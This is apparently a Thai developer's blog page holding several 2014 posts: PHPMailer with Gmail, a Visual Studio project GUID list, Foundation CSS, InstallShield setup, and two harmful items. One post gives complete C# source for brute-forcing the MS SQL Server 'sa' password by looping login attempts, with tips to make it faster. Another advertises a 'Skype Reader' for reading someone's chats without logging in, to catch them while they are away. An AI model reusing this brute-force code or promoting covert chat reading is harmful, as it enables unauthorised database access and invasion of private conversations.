\

Facebook


วันพฤหัสบดีที่ 13 พฤศจิกายน พ.ศ. 2557

[PHP] ส่งเมลล์ผ่าน Google ด้วย PHPMailer [อัพเดต2014]


อันดับแรกให้ไปดาว์นโหลด PHPMailer เว่อร์ชั่นล่าสุดมาก่อนครับ(ปีที่เขียน 2014) ตามลิ้งนี้ เเล้วหาไฟล์ที่มีชื่อว่า PHPMailerAutoload.php จากนั้นในโค๊ด php เราจะ require ไฟล์นี้เข้ามาเพื่อเรียกใช้ class PHPMailer

จากนั้นเข้าบัญชี Google Account เข้าไปที่แท็ป https://www.google.com/settings/security แล้วหาบ็อก Account permissions จากนั้นคลิก enable ตั้งค่าให้ Access for less secure apps เพื่อเป็นการอนุญาติให้ app ภายนอกเข้าใช้งาน account เราได้


เราสามารถเลือก encryption system ได้ 2 แบบนั้นคือ
- ssl Port 465 (SSL required)
- tls Port 587 (TLS required)

จากนั้นตั้งค่าตัวแปรที่จำเป็นให้คลาสดังนี้
$mail->Host คือ stmp server ของกูเกิ้ลที่ใช้ส่งอีเมลล์
$mail->SMTPAuth การพิสูจน์ตัวตนด้วย username password
$mail->Username ชื่อเมลล์ที่จะล็อกอินเพื่อส่ง
$mail->Password พาส
$mail->addAddress ชื่อผู้ส่ง
$mail->Subject หัวเรื่อง
$mail->msgHTML ไฟล์ html ที่จะส่งไปผ่านเมลล์
$mail->AltBody รายละเอียดเมลล์
$mail->addAttachment ไฟล์แนบ

โค๊ดตัวอย่างดังนี้ครับ

<?php
/**
 * This example shows settings to use when sending via Google's Gmail servers.
 */

//SMTP needs accurate times, and the PHP time zone MUST be set
//This should be done in your php.ini, but this is how to do it if you don't have access to that
date_default_timezone_set('Etc/UTC');

require '../PHPMailerAutoload.php';

//Create a new PHPMailer instance
$mail = new PHPMailer;

//Tell PHPMailer to use SMTP
$mail->isSMTP();

//Enable SMTP debugging
// 0 = off (for production use)
// 1 = client messages
// 2 = client and server messages
$mail->SMTPDebug = 2;

//Ask for HTML-friendly debug output
$mail->Debugoutput = 'html';

//Set the hostname of the mail server
$mail->Host = 'smtp.gmail.com';

//Set the SMTP port number - 587 for authenticated TLS, a.k.a. RFC4409 SMTP submission
$mail->Port = 587;

//Set the encryption system to use - ssl (deprecated) or tls
$mail->SMTPSecure = 'tls';

//Whether to use SMTP authentication
$mail->SMTPAuth = true;

//Username to use for SMTP authentication - use full email address for gmail
$mail->Username = "username@gmail.com";

//Password to use for SMTP authentication
$mail->Password = "yourpassword";

//Set who the message is to be sent from
$mail->setFrom('from@example.com', 'First Last');

//Set an alternative reply-to address
$mail->addReplyTo('replyto@example.com', 'First Last');

//Set who the message is to be sent to
$mail->addAddress('whoto@example.com', 'John Doe');

//Set the subject line
$mail->Subject = 'PHPMailer GMail SMTP test';

//Read an HTML message body from an external file, convert referenced images to embedded,
//convert HTML into a basic plain-text alternative body
$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__));

//Replace the plain text body with one created manually
$mail->AltBody = 'This is a plain-text message body';

//Attach an image file
$mail->addAttachment('images/phpmailer_mini.png');

//send the message, check for errors
if (!$mail->send()) {
    echo "Mailer Error: " . $mail->ErrorInfo;
} else {
    echo "Message sent!";
}


เพิ่มเติมเป็นเกร็ดความรู้ครับ เราสามารถตรวจสอบ log ของ gmail ได้ โดยจะแสดงการลงชื่อเข้าใช้แต่ละครั้งที่ตำแหน่งไหน และด้วย IP อะไร ซึ่งถ้ามีการลงชื่อจากแอพ หรือเหตุการณ์อะไรที่เป็นอันตรายกับบัญชีของเรา ก็จะแสดงให้เห็นด้วย ที่หน้าจอนี้
https://security.google.com/settings/security/activity



Hack พาสเวิร์ด MS SQL SERVER ด้วย BruteForce


"ถ้า server ตัวไหนที่อนุญาติให้ login เข้าระบบ และไม่สนใจว่าล็อกอินสำเร็จหรือไม่ โดยอนุญาติให้ลองล็อกอินเข้ามาใหม่เรื่อยๆ จะหนีไม่พ้นการแฮกแบบ brute force ครับ" เป็นเรื่องจริงที่ server จำเป็นต้องรักษาความปลอดภัยของข้อมูล ต้องการป้องกันการแฮกด้วย ซึ่งมักจะพบเห็นการป้องกันเบื้องต้นเช่น ให้ใส่ข้อความที่เห็น ให้บวกเลข ให้ล็อกอินผิดได้ไม่เกิน 3 ครั้ง คำถามคือ ถ้าไม่มีการป้องกันหล่ะ?

บทความนี้จะกล่าวถึงช่องโหว่(จริงๆเรียกช่องโหว่ไม่ได้ เรียกการมอบสิทธิเข้าถึงDB)อย่างนึงของ SQL SERVER ที่อนุญาติให้ connect เข้ากับ server ได้โดยไม่สนใจว่า username กับ password ที่ผู้ใช้กรอกเข้ามานั่นผิด ซึ่งผมทดลองกับยูเซอร์ SA เพราะมี permission ที่สูงที่สุด โดยวิธีที่ใช้คือ Brute Force เพื่อสร้าง connection string ขึ้นมาใหม่เรื่อยๆ จนกว่าจะได้ password ที่แท้จริง

Brute Force คือ?
อธิบายสั้นๆคือ "การสร้างชุดอักษร จากอักขระ ตัวเลข สัญลักษณ์ จากความเป็นไปได้ทั้งหมด เพื่อทดลองlog in เรื่อยๆ จนกว่าจะสำเร็จ" ซึ่งโอกาสที่จะสร้างชุดอักษรถูกนั้นมีแน่นอน 100% เเต่ต้องแลกมากับเวลาที่เสียไปกับpasswordที่ไม่ถูกต้อง ซึ่งวิธีนี้จะใช้เวลาแปรผันตรงกับระดับความซับซ้อนของ password ยิ่งซับซ้อน ยิ่งใช้เวลา
ดังนั้น หากไม่จำกัดเวลา หรือ จำนวนครั้งที่ login ยังไงก็โดยแฮกสำเร็จ

โค๊ดที่ผมเอามาเป็นตัวอย่าง สามารถสร้าง ชุดอักษรขึ้นมาและสร้าง connection string เพื่อร้องขอการเชื่อมต่อกับเซิฟเวอร์ ที่อธิบายโค๊ดได้เเบบนี้ครับ
1 สร้างชุดอักษร คือ การรวมอักขระ จากอาเรย์ตัวนึง -> เริ่มจาก a, b, c .... aa,ab,ac ... ไปเรื่อยๆ นี้คือหัวใจ Brute Force เลย

 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
 'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
 'F','G','H','I','J','K','L','M','N','O','P','Q','R',
 'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
 '6','7','8','9','0','!','$','#','@','-'

2 สร้าง connection string -> คือข้อความรูปแบบนึงที่ส่งเข้าไป MS SQL SERVER เพื่อตรวจสอบ connection ถ้ากรอกข้อมูลถูกต้อง ตัวเซิฟเวอร์เองก็จะสร้างการตอบกลับ เพื่อให้เราทำงานส่วนอื่นต่อ เเต่ถ้าไม่ก็จะตอบสนองเป็นข้อความการผิดพลาดประเภทต่างๆ

 "Data Source=source;Initial Catalog=databaseName;Persist Security Info=True;User ID=User; Password=Pass; "

3 การ Looping คือ การวน loop เพื่อทดสอบข้อ 1-2 ใหม่เรื่อยๆจนกว่าจะสำเร็จ ง่ายๆแค่นี้เอง

Server ที่ผมทดลอง สร้างด้วยพาสง่ายๆคือ "sa" ดังนั้น จึงใช้เวลาน้อยในการหาพาส แต่เอาพอเป็นแนวทางนะครับ ผมแค่อยากแนะเเนวทางการป้องกันมากกว่าให้มา แฮก ซะเอง แต่โปรแกรมนี้ก็แสดงให้รู้วาสามารถใช้ช่องโหว่เป็นวิธีแฮกได้อย่างไร ใครที่สนใจทำต่อสามารถปรับปรุงให้ไวมากขึ้นด้วยวิธีเหล่านี้ครับ

Source Code [c# console app]

using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace BruteForceSQLServer
{
    class Program
    {
        #region Private variables

        // the secret password which we will try to find via brute force
        //private static string password = "p123";
        private static string result;
        static Stopwatch stopwatch = new Stopwatch();
        private static bool isMatched = false;

        /* The length of the charactersToTest Array is stored in a
         * additional variable to increase performance  */
        private static int charactersToTestLength = 0;
        private static long computedKeys = 0;

        /* An array containing the characters which will be used to create the brute force keys,
         * if less characters are used (e.g. only lower case chars) the faster the password is matched  */
        private static  char[] charactersToTest =
    {
        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
        'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
        'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
        'F','G','H','I','J','K','L','M','N','O','P','Q','R',
        'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
        '6','7','8','9','0','!','$','#','@','-'
    };

        #endregion

        static void Main(string[] args)
        {
            var timeStarted = DateTime.Now;
            Console.WriteLine("Start BruteForce - {0}", timeStarted.ToString());

            // The length of the array is stored permanently during runtime
            charactersToTestLength = charactersToTest.Length;

            // The length of the password is unknown, so we have to run trough the full search space
            var estimatedPasswordLength = 0;
           
            stopwatch.Start();
            while (!isMatched)
            {
                /* The estimated length of the password will be increased and every possible key for this
                 * key length will be created and compared against the password */

                
                estimatedPasswordLength++;
                startBruteForce(estimatedPasswordLength);


            }
            stopwatch.Stop();
            Console.WriteLine("Time Use : " + stopwatch.Elapsed);
            Console.WriteLine("Password matched. - {0}", DateTime.Now.ToString());
            Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
            Console.WriteLine("Resolved password: {0}", result);
            Console.WriteLine("Computed keys: {0}", computedKeys);

            Console.ReadLine();
        }

        #region Private methods

        /// <summary>
        /// Starts the recursive method which will create the keys via brute force
        /// </summary>
        /// <param name="keyLength">The length of the key</param>
        private static void startBruteForce(int keyLength)
        {
            var keyChars = createCharArray(keyLength, charactersToTest[0]);
            // The index of the last character will be stored for slight perfomance improvement
            var indexOfLastChar = keyLength - 1;
            createNewKey(0, keyChars, keyLength, indexOfLastChar);
        }

        /// <summary>
        /// Creates a new char array of a specific length filled with the defaultChar
        /// </summary>
        /// <param name="length">The length of the array</param>
        /// <param name="defaultChar">The char with whom the array will be filled</param>
        /// <returns></returns>
        private static char[] createCharArray(int length, char defaultChar)
        {
            return (from c in new char[length] select defaultChar).ToArray();
        }

        /// <summary>
        /// This is the main workhorse, it creates new keys and compares them to the password until the password
        /// is matched or all keys of the current key length have been checked
        /// </summary>
        /// <param name="currentCharPosition">The position of the char which is replaced by new characters currently</param>
        /// <param name="keyChars">The current key represented as char array</param>
        /// <param name="keyLength">The length of the key</param>
        /// <param name="indexOfLastChar">The index of the last character of the key</param>
        private static void createNewKey(int currentCharPosition, char[] keyChars, int keyLength, int indexOfLastChar)
        {
            var nextCharPosition = currentCharPosition + 1;
            // We are looping trough the full length of our charactersToTest array
            for (int i = 0; i < charactersToTestLength; i++)
            {
                /* The character at the currentCharPosition will be replaced by a
                 * new character from the charactersToTest array => a new key combination will be created */
                keyChars[currentCharPosition] = charactersToTest[i];

                // The method calls itself recursively until all positions of the key char array have been replaced
                if (currentCharPosition < indexOfLastChar)
                {
                    createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar);
                }
                else
                {
                    // A new key has been created, remove this counter to improve performance
                    computedKeys++;

                    /* The char array will be converted to a string and compared to the password. If the password
                     * is matched the loop breaks and the password is stored as result. */
                    #region Connect SQL

                    string connetionString = null;
                    SqlConnection cnn;
                    //connetionString = "Data Source=\SQLEXPRESS;User ID=sa;Password=" + new String(keyChars);
                    connetionString = "Data Source=SERVER;User ID=sa;Password=" +new String(keyChars);

                    cnn = new SqlConnection(connetionString);
                    try
                    {
                        cnn.Open();
                        Console.WriteLine("Connection Open ! ");
                        isMatched = true;
                        //result = new String(keyChars);
                        if (stopwatch.IsRunning)
                            stopwatch.Stop();
                        Console.WriteLine("Time Use : " + stopwatch.Elapsed);
                        Console.WriteLine("Password : " + new String(keyChars));
                        Console.Read();
                        cnn.Close();
                        return;

                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine("Can not open connection ! " + new String(keyChars));
                    }
                    #endregion
                }
            }
        }

        #endregion
    }
}
 
ปรับปรุงให้ไวขึ้นได้อย่างไร
1 สร้าง thread ขึ้นมาเพื่อ แบ่งภาระงาน งานจะเสร็จไวขึ้น
2 ไม่ต้องแสดง output ของโปรแกรม เเต่เราจะไม่ทราบเท่านั้นเองว่าโปแกรมทำงานถึงไหนแล้ว
3 จัดการ loop ให้มีประสิทธิภาพมากกว่านี้
4 เดา pass ที่พบบ่อยๆก่อน

 2weekTrain

วันอาทิตย์ที่ 19 ตุลาคม พ.ศ. 2557

ลิสส์รายการ Visual Studio Project Type GUIDs

รวบรวม GUIDs ของโปรเจคค์ต่างๆบน VS ทั้งหมด เอาไว้ search หาง่ายๆหน่อย เช็คโปรเจคค์โดยการเปิดไฟล์ .sln ด้วย notepad เเล้ว copy GUIDs  ในแท็ก Project เอามา ctrl + f เทียบดู

By Description

ASP.NET MVC 1.0 {603C0E0B-DB56-11DC-BE95-000D561079B0}
ASP.NET MVC 2.0 {F85E285D-A4E0-4152-9332-AB1D724D3325}
ASP.NET MVC 3.0 {E53F8FEA-EAE0-44A6-8774-FFD645390401}
ASP.NET MVC 4.0 {E3E379DF-F4C6-4180-9B81-6769533ABE47
C# {FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}
C++ {8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}
Database {A9ACE9BB-CECE-4E62-9AA4-C7E7C5BD2124}
Database (other project types) {4F174C21-8C12-11D0-8340-0000F80270F8}
Deployment Cab {3EA9E505-35AC-4774-B492-AD1749C4943A}
Deployment Merge Module {06A35CCD-C46D-44D5-987B-CF40FF872267}
Deployment Setup {978C614F-708E-4E1A-B201-565925725DBA}
Deployment Smart Device Cab {AB322303-2255-48EF-A496-5904EB18DA55}
Distributed System {F135691A-BF7E-435D-8960-F99683D2D49C}
F# {F2A71F9B-5D33-465A-A702-920D77279786}
J# {E6FDF86B-F3D1-11D4-8576-0002A516ECE8}
Legacy (2003) Smart Device (C#) {20D4826A-C6FA-45DB-90F4-C717570B9F32}
Legacy (2003) Smart Device (VB.NET) {CB4CE8C6-1BDB-4DC7-A4D3-65A1999772F8}
Model-View-Controller v2 (MVC2) {F85E285D-A4E0-4152-9332-AB1D724D3325}
Model-View-Controller v3 (MVC3) {E53F8FEA-EAE0-44A6-8774-FFD645390401}
Model-View-Controller v4 (MVC4) {E3E379DF-F4C6-4180-9B81-6769533ABE47}
Mono for Android {EFBA0AD7-5A72-4C68-AF49-83D382785DCF}
MonoTouch {6BC8ED88-2882-458C-8E55-DFD12B67127B}
MonoTouch Binding {F5B4F3BC-B597-4E2B-B552-EF5D8A32436F}
Portable Class Library {786C830F-07A1-408B-BD7F-6EE04809D6DB}
SharePoint (C#) {593B0543-81F6-4436-BA1E-4747859CAAE2}
SharePoint (VB.NET) {EC05E597-79D4-47f3-ADA0-324C4F7C7484}
SharePoint Workflow {F8810EC1-6754-47FC-A15F-DFABD2E3FA90}
Silverlight {A1591282-1198-4647-A2B1-27E5FF5F6F3B}
Smart Device (C#) {4D628B5B-2FBC-4AA6-8C16-197242AEB884}
Smart Device (VB.NET) {68B1623D-7FB9-47D8-8664-7ECEA3297D4F}
Solution Folder {2150E333-8FDC-42A3-9474-1A3956D46DE8}
Test {3AC096D0-A1C2-E12C-1390-A8335801FDAB}
VB.NET {F184B08F-C81C-45F6-A57F-5ABD9991F28F}
Visual Database Tools {C252FEB5-A946-4202-B1D4-9916A0590387}
Visual Studio Tools for Applications (VSTA) {A860303F-1F3F-4691-B57E-529FC101A107}
Visual Studio Tools for Office (VSTO) {BAA0C2D2-18E2-41B9-852F-F413020CAA33}
Web Application {349C5851-65DF-11DA-9384-00065B846F21}
Web Site {E24C65DC-7377-472B-9ABA-BC803B73C61A}
Windows (C#) {FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}
Windows (VB.NET) {F184B08F-C81C-45F6-A57F-5ABD9991F28F}
Windows (Visual C++) {8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}
Windows Communication Foundation (WCF) {3D9AD99F-2412-4246-B90B-4EAA41C64699}
Windows Phone 8/8.1 Blank/Hub/Webview App {76F1466A-8B6D-4E39-A767-685A06062A39}
Windows Phone 8/8.1 App (C#) {C089C8C0-30E0-4E22-80C0-CE093F111A43}
Windows Phone 8/8.1 App (VB.NET) {DB03555F-0C8B-43BE-9FF9-57896B3C5E56}
Windows Presentation Foundation (WPF) {60DC8134-EBA5-43B8-BCC9-BB4BC16C2548}
Windows Store (Metro) Apps & Components {BC8A1FFA-BEE3-4634-8014-F334798102B3}
Workflow (C#) {14822709-B5A1-4724-98CA-57A101D1B079}
Workflow (VB.NET) {D59BE175-2ED0-4C54-BE3D-CDAA9F3214C8}
Workflow Foundation {32F31D43-81CC-4C15-9DE6-3FC5453562B6}
Xamarin.Android {EFBA0AD7-5A72-4C68-AF49-83D382785DCF}
Xamarin.iOS {6BC8ED88-2882-458C-8E55-DFD12B67127B}
XNA (Windows) {6D335F3A-9D43-41b4-9D22-F6F17C4BE596}
XNA (XBox) {2DF5C3F4-5A5F-47a9-8E94-23B4456F55E2}
XNA (Zune) {D399B71A-8929-442a-A9AC-8BEC78BB2433}

By GUID

Deployment Merge Module {06A35CCD-C46D-44D5-987B-CF40FF872267}
Workflow (C#) {14822709-B5A1-4724-98CA-57A101D1B079}
Legacy (2003) Smart Device (C#) {20D4826A-C6FA-45DB-90F4-C717570B9F32}
Solution Folder {2150E333-8FDC-42A3-9474-1A3956D46DE8}
XNA (XBox) {2DF5C3F4-5A5F-47a9-8E94-23B4456F55E2}
Workflow Foundation {32F31D43-81CC-4C15-9DE6-3FC5453562B6}
Web Application {349C5851-65DF-11DA-9384-00065B846F21}
Test {3AC096D0-A1C2-E12C-1390-A8335801FDAB}
Windows Communication Foundation (WCF) {3D9AD99F-2412-4246-B90B-4EAA41C64699}
Deployment Cab {3EA9E505-35AC-4774-B492-AD1749C4943A}
Smart Device (C#) {4D628B5B-2FBC-4AA6-8C16-197242AEB884}
Database (other project types) {4F174C21-8C12-11D0-8340-0000F80270F8}
SharePoint (C#) {593B0543-81F6-4436-BA1E-4747859CAAE2}
ASP.NET MVC 1.0 {603C0E0B-DB56-11DC-BE95-000D561079B0}
Windows Presentation Foundation (WPF) {60DC8134-EBA5-43B8-BCC9-BB4BC16C2548}
Smart Device (VB.NET) {68B1623D-7FB9-47D8-8664-7ECEA3297D4F}
MonoTouch {6BC8ED88-2882-458C-8E55-DFD12B67127B}
XNA (Windows) {6D335F3A-9D43-41b4-9D22-F6F17C4BE596}
Windows Phone 8/8.1 Blank/Hub/Webview App {76F1466A-8B6D-4E39-A767-685A06062A39}
Portable Class Library {786C830F-07A1-408B-BD7F-6EE04809D6DB}
C++ {8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}
Deployment Setup {978C614F-708E-4E1A-B201-565925725DBA}
Silverlight {A1591282-1198-4647-A2B1-27E5FF5F6F3B}
Visual Studio Tools for Applications (VSTA) {A860303F-1F3F-4691-B57E-529FC101A107}
Database {A9ACE9BB-CECE-4E62-9AA4-C7E7C5BD2124}
Deployment Smart Device Cab {AB322303-2255-48EF-A496-5904EB18DA55}
Visual Studio Tools for Office (VSTO) {BAA0C2D2-18E2-41B9-852F-F413020CAA33}
Windows Store Apps (Metro Apps) {BC8A1FFA-BEE3-4634-8014-F334798102B3}
Windows Phone 8/8.1 App (C#)
  {C089C8C0-30E0-4E22-80C0-CE093F111A43}
Visual Database Tools {C252FEB5-A946-4202-B1D4-9916A0590387}
Legacy (2003) Smart Device (VB.NET) {CB4CE8C6-1BDB-4DC7-A4D3-65A1999772F8}
XNA (Zune) {D399B71A-8929-442a-A9AC-8BEC78BB2433}
Workflow (VB.NET) {D59BE175-2ED0-4C54-BE3D-CDAA9F3214C8}
Windows Phone 8/8.1 App (VB.NET)
  {DB03555F-0C8B-43BE-9FF9-57896B3C5E56}
Web Site {E24C65DC-7377-472B-9ABA-BC803B73C61A}
ASP.NET MVC 4.0 {E3E379DF-F4C6-4180-9B81-6769533ABE47}
ASP.NET MVC 3.0 {E53F8FEA-EAE0-44A6-8774-FFD645390401}
J# {E6FDF86B-F3D1-11D4-8576-0002A516ECE8}
SharePoint (VB.NET) {EC05E597-79D4-47f3-ADA0-324C4F7C7484}
Xamarin.Android / Mono for Android {EFBA0AD7-5A72-4C68-AF49-83D382785DCF}
Distributed System {F135691A-BF7E-435D-8960-F99683D2D49C}
VB.NET {F184B08F-C81C-45F6-A57F-5ABD9991F28F}
F# {F2A71F9B-5D33-465A-A702-920D77279786}
MonoTouch Binding {F5B4F3BC-B597-4E2B-B552-EF5D8A32436F}
ASP.NET MVC 2.0 {F85E285D-A4E0-4152-9332-AB1D724D3325}
SharePoint Workflow {F8810EC1-6754-47FC-A15F-DFABD2E3FA90}
C# {FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}

Notes

  1. You will find these proeprties as a <ProjectTypeGuids> element in the project file, not to be confused with <ProjectGuid> which is a unique identifier for your project.
  2. Some GUIDs are used in combination. For example <ProjectTypeGuids>{EFBA0AD7-5A72-4C68-AF49-83D382785DCF};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}</ProjectTypeGuids> describes a Xamarin.Android library in C#.

วันพฤหัสบดีที่ 16 ตุลาคม พ.ศ. 2557

ทำความรู้จัก Foundation CSS สร้างเลย์เอ้าเว็บง่ายปลายนิ้วชี้


การเขียนเว็บไซด์ปัจจุบันไม่ได้กำจัดให้ดูได้เฉพาะบน PC อีกต่อไปเเล้วครับ มีอุปกรณ์เพิ่มขึ้นมาเรื่อยๆ ไม่ว่าจะเป็น Tablet , Smart phone ซึ่งมีความเเตกต่างหลากหลายขนาดหน้าจอ จนตัวdeveloper เองยังปวดหัว เพราะการแสดงผลบนขนาดจอที่แตกต่างกันนี้ สามารถสร้างประสบการณ์การรับชมเว็บไซด์ที่แตกต่างกันอีกด้วย

ลองนึกภาพตามครับขนาดอักษร 14pt ที่เราเห็นบนเว็บทั่วๆไป พอเอามาแสดงผลบนจอมือถือขนาดเล็ก จะถูกย่อขนาดลงตามความละเอียดของจอภาพ เราเลยต้องซูมเข้าออกเพื่อขยายขนาดเอง ดังนั้นหลักการขอ Foundation Framework คือปรับขนาดองประกอบเองโดยคำนึงขนาดจอภาพเป็นหลัก

เว็บไซด์หลักของ Foundation  http://foundation.zurb.com/

ว่าด้วยเรื่องของ Grid
หัวใจหลักเลยครับ เพราะต่อไปเราจะมองเว็บเป็นกริดเป็นคอลัมม์ ราวกับว่าเบืื้องหลังของเว็บเราคือตารางขนาดใหญ่ ที่มีขนาดใหญ่สุด 12 ส่วนในด้านกว้าง (ด้านยาวขึ้นอยู่ตามขนาด content) ทีนี้พอนับเป็นส่วน"เราก็สามารถกำหนดขนาดเเต่ละส่วนได้บนขนาดจอที่เเตกต่างได้ "













ตัวอย่างโค๊ดจะประมาณนี้ นะครับ

<div class="row"> <div class="small-2 columns">2 columns</div> <div class="small-10 columns">10 columns</div> </div> <div class="row"> <div class="small-3 columns">3 columns</div> <div class="small-9 columns">9 columns</div> </div>
ทีนี้มาส่อง Component สวยๆบ้างว่ามีอะไรมั่ง
ปุ่มกด Button: มีหลากหลายขนาดให้เลือกเเต่สีกับดีไซด์สู้ บูทสเเตบไม่ได้แหะ



 เมนูเนวิเกเตอร์ Nav : การจัดตำแหน่งเมนูต่างๆก็ทำได้ง่ายๆเพราะมี class รองรับ เพียงเเค่เพิ่ม class ให้ Nav ก็จะสามารถ

ใครที่สนใจอยากลองเล่นเข้าไปอาน Doc ที่หน้าเว็บของเค้าได้เลยครับ เค้าทำอะเอียดมาก แถมที่ผมชอบที่สุดคือ เค้าสร้างขึ้นมาให้มือใหม่มือเก่า สามารถเอาไปใช้งานได้จริงๆโดยไม่ต้องศึกษาเพิ่มเติมมาก เพราะที่หน้าเว็บมีทุกย่างเเล้วจริงๆ

ตัวอย่าง layout ที่ Foundation จัดไว้ให้เเล้วเป็นตัวอย่าง (มีอธิบายเป็นส่วนๆ สวยงามมาก)
http://foundation.zurb.com/templates.html

ตัวอย่าง Tool ที่มีให้ Download ฟรี
http://foundation.zurb.com/develop/resources.html

เขียนเว็บPHP, ออกแบบระบบPHP , สร้างเว็บขายของ
ติดต่อ ชยุต 089-755-8042 Mail: profrezz@gmail.com

[[แจก]] โปรแกรมอ่าน Skype โดยไม่ต้อง LogIN

โปรแกรมอ่านข้อความใน Skype โดยไม่ต้อง LogIN เอาไว้จับผิดตอนเค้าไม่อยู่เครื่อง
** ตอนนี้ ผมเขียนให้รันบน Windows8 64Bit นะครับ **
**ถ้าใช้ บนWindows version อื่นๆ อาจเกิดปัญหา จะเเก้ต่อไปครับ **


Skype Reader V.1.0


รายละเอียด
เป็นโปรแกรมสำหรับ scan ผู้ใช้ทั้งหมดที่เคย log in ผ่านคอมพิวเตอร์ที่ลง Skype และอ่านข้อความ Chat ทั้งหมดได้ตาม รายชื่อคนติดต่อ
เว่อร์ชั่น 1.0
Compatibility : Windows 8 64bit
ขนาด : ไม่ระบุ
ไลเซ็น : MOMOKORO STUDIO

DOWNLOAD Skype Reader ได้ที่นี้

วิธีใช้งานที่นี้

เงื่อนไขที่จำเป็น
1 บนเครื่องนั้นต้องเปิดฟังชั่น save history ภายใน skype โดยเข้าไปดูได้ที่ tool > option.. > Privacy Setting > Keep history for > ตั้งเป็น forever
และห้ามกด Clear history
2 ทดสอบ scan หาผู้ใช้ที่เคย LogIn ผ่านคอมพิวเตอร์ที่ลงโปรแกรมได้ฟรี โดยตัว DEMO ของโปรแกรมสามารถหาดาว์นโหลดได้ที่ www กรณีพบบัคหรือต้องการติดต่อแก้ไขโปรแกรม แจ้งได้ที่ profrezz@gmail.com เขียนหัวเรื่องว่า "Skype Reader" ตามด้วยชื่อปัญหาและรายการบัค
3 ถ้ารันบนวินโดว์เก่าๆไม่ได้ เช่น Windows XP , Windows 7 ใช้เช็คเวอร์ชั่น .NET Framework ว่ามี version 4.0 อยู่หรือไม่ วิธีเช็คคลิกที่นี้ ถ้าไม่มีให้ลงก่อนตามบทความนี้
4 ผู้เขียนไม่มีส่วนเกี่ยวข้องหรือต้องรับผิดชอบ ไม่ว่ากรณีใดก็ตาม เมื่อผู้ใช้ใช้งานผิดวัตถุประสงค์หรือไม่ได้รับอนุญาติจากผู้อื่นให้ใช้โปรแกรม ผู้จัดทำโปรแกรมไม่มีความผิด และไม่ต้องรับโทษใดๆทางกฎหมาย

วัตถุประสงค์การใช้งาน
1 เพื่อตรวจสอบข้อมูลการสนทนา Skype จากผู้ใช้ที่ได้รับอนุญาติให้เข้าถึงข้อมูลแล้ว

Feature ของตัว DEMO
1 อ่านข้อความการสนธนาของแต่ละผู้ติดต่อ ได้ 20 แถวแรก
2 อ่านรายชื่อผู้ติดต่อทั้งหมด
3 เเสดงรายชื่อผู้ติดต่ออย่าละเอียด ใครโดนบล็อก ใครถูกบุ๊คมาร์ค การสนธนาครั้งสุดท้าย
4 แสดง USER ที่เคยใช้งานบนคอมพิวเตอร์เครื่องนั้นทั้งหมด

Feature ของตัว FULL
1 อ่านข้อความการสนธนาของแต่ละผู้ติดต่อ ได้ไม่จำกัด
2 กรองข้อมูลการสนธนา ตามชื่อ ตามวันที่ ตามลำดับการ sort
3 อ่านรายชื่อผู้ติดต่อทั้งหมด
4 เเสดงรายชื่อผู้ติดต่ออย่าละเอียด ใครโดนบล็อก ใครถูกบุ๊คมาร์ค การสนธนาครั้งสุดท้าย
5 แสดง USER ที่เคยใช้งานบนคอมพิวเตอร์เครื่องนั้นทั้งหมด
6 มี Support โปรแกรม มีปัญหาติดต่อได้ทันที แก้ไขรวดเร็ว

วิธีใช้งาน คลิก

รับเขียนโปรแกรม C# WinForm ASP.NET
เขียนเว็บPHP, ออกแบบระบบ , โมทรีม Wordpress, สร้างเว็บขายของ

วันอังคารที่ 26 สิงหาคม พ.ศ. 2557

[Winform C#] ทำตัวอินสตอร์ด้วย Install Shield


หลังจากเขียนโปรแกรม Winform c# เรียบร้อยเเล้วถึงเวลาแปลงเป็นตัว exe ให้คลิกใช้ง่ายๆสักที ซึ่งจริงๆแล้วเพียงเรา copy ไฟล์ทั้งหมดใน โฟลเดอร์ bin/debug หลังจากบิ้วโปรเจกสำเร็จก็สามารถนำโปรแกรมไปใช้ได้แล้ว แต่วันนี้ผมจะลองทำเป็นตัว install ให้คลิกได้ง่ายๆกว่าเดิมครับ

เริ่มจากสร้างโปรเจกใหม่ คลิกขวาที่ solution > add > new project > other project types > setup and deployment เลือก InstallShield

ถ้าใช้งานครั้งแรกจะปรากฎหน้าต่างนี้

โดยถ้าเป็นการเริ่มใช้งานครั้งแรก จะปรากฎหน้าต่างตามนี้ครับ ให้เข้าไปดาว์นโหลดลงมาเเล้วไปสร้าง serial number เพื่อกลับมา regist ตามภาพครับ

serial number ของ installshield

หลังจาก Activate สำเร็จ จะได้หน้าต่างตามรูปเลยครับ


Activate สำเร็จ

โดยวิธีการตั้งค่าต่างๆ สามาารถเข้าโปรเจก setup1 เพื่อเช็ตค่าต่างๆได้ทันทีโดยแบ่งเป็นหมวดหมู่ดังนี้ครับ
1 Application Information เอาไว้กรอกรายละเอียดของไฟล์เซ็ตอัพ โดย
  - company name เป็นชื่อบริษัท
  - application name ชื่อแอปพลิเคชั่น
  - application version เลขเวอร์ชั่น
  - campany website เว็บส่วนตัวขององค์กรณ์



2 Install Requirement กำหนด spec ที่จำเป็นสำหรับ install โปรแกรม 
   - specific operating system  กำหนดได้ว่าควร Run Windows อะไร
   - Require software to be installed on the machine โปรแกรมอื่นๆที่จำเป็นในการ run กับโปรแกรมของเรา


3 Application shortcut กำหนด shortcut
4 Application Registry ต้องการให้ใช้ค่าตัวแปรจาก registry ก็ให้เซ็ตได้จากหน้าต่างนี้เลยครับ
